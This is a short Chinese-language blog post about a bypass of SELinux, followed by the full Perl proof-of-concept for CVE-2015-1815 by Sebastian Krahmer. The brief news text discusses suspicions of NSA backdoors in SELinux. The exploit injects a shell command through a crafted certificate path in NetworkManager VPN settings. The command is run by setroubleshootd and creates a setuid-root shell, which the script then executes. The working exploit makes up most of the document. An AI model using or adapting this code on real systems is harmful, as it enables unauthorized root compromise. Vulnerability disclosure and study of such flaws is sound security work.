SELinux防御被轻易绕过?

“GNU/Linux厂商SuSE的安全研究人员Sebastian Krahmer成功的绕过了SELinux的白名单规则,Sebastian分析了漏洞利用的方法并且公开了PoC,由于在targeted规则的情况下,社区的维护人员都假设是安全的所以会给一些的程序root权限运行,可能这正是NSA所希望看到的;-)
著名的MAC(强制访问控制)开源实现SELinux是由NSA(美国国家安全局)于1990年代末发起的项目,于2000年以GPL自由软件许可证开放源代码,2003年合并到Linux内核中,过去10年中关于是否NSA在其中放后门的争论没有停过,一些人认为应该信任SELinux,因为它是以GPL自由软件许可证公开的源代码,也有人认为它是NSA参与过的项目,所以不应该信任。2013年Snowden曝光棱镜后更多的人极度的不信任NSA,认为NSA有对Android代码植入后门的前科,所以应该怀疑所有NSA积极参与的项目包括SELinux。目前MAC的开源实现里,SELinux主要由RedHat/CentOS/Fedora社区维护,Apparmor主要由OpenSuSE/Ubuntu社区维护,而以纵深防御著称的PaX/Grsecurity到目前未知因为厂商利益以及社区政治等各种原因,虽然被诸多操作系统抄袭( Linux/Windows/OSX),但一直未能进入Linux主干代码。”

https://github.com/stealth/troubleshooter

#!/usr/bin/perl

# Fedora21 setroubleshootd local root PoC (CVE-2015-1815)
#
# requires polkit authorization to add/mod VPN connections
# to NetworkManager (default on desktop user)
#
# I say: lulz!
#
# (C) 2015 Sebastian Krahmer
#
#
# create a pathname that setroubleshootd will eventually
# query sh -c { rpm -qf ... with, fucking up ' escaping. So the
# embedded pathname is then evaluated as command
#
# There goes your NSA-grade SELinux security.

#$command = "id|logger";

# full blown rootshell to disable SELinux
$command="cd var;cd lib;cd setroubleshoot;cat \$SHELL > sh;chmod 04755 sh";
$boomsh = "/var/lib/setroubleshoot/sh";

$file = "/tmp/7350.pem';$command;echo '";
open(O, ">", $file) or die $!;
close O;

# add connection
system("nmcli c add type vpn ifname FOOBAR vpn-type openvpn");
open(O,"|nmcli c edit vpn-FOOBAR") or die $!;

print O "set vpn.data ca = /tmp/7350.pem';$command;echo ', password-flags = 1, connection-type = password, remote = 1.2.3.4, username = FOOBAR\n";
print O "set vpn.secrets password=1\nsave\nquit\n";
close(O);

print "[*] Triggering vulnerability for boomsh ...\n";

while (((stat($boomsh))[2] & 04000) != 04000) {
	system("nmcli c up vpn-FOOBAR");
	sleep(10);
}

print "\n[!] Found boomsh mode 04755! Domains dont contain!\n";
exec($boomsh, "-p");

发表评论

您的电子邮箱地址不会被公开。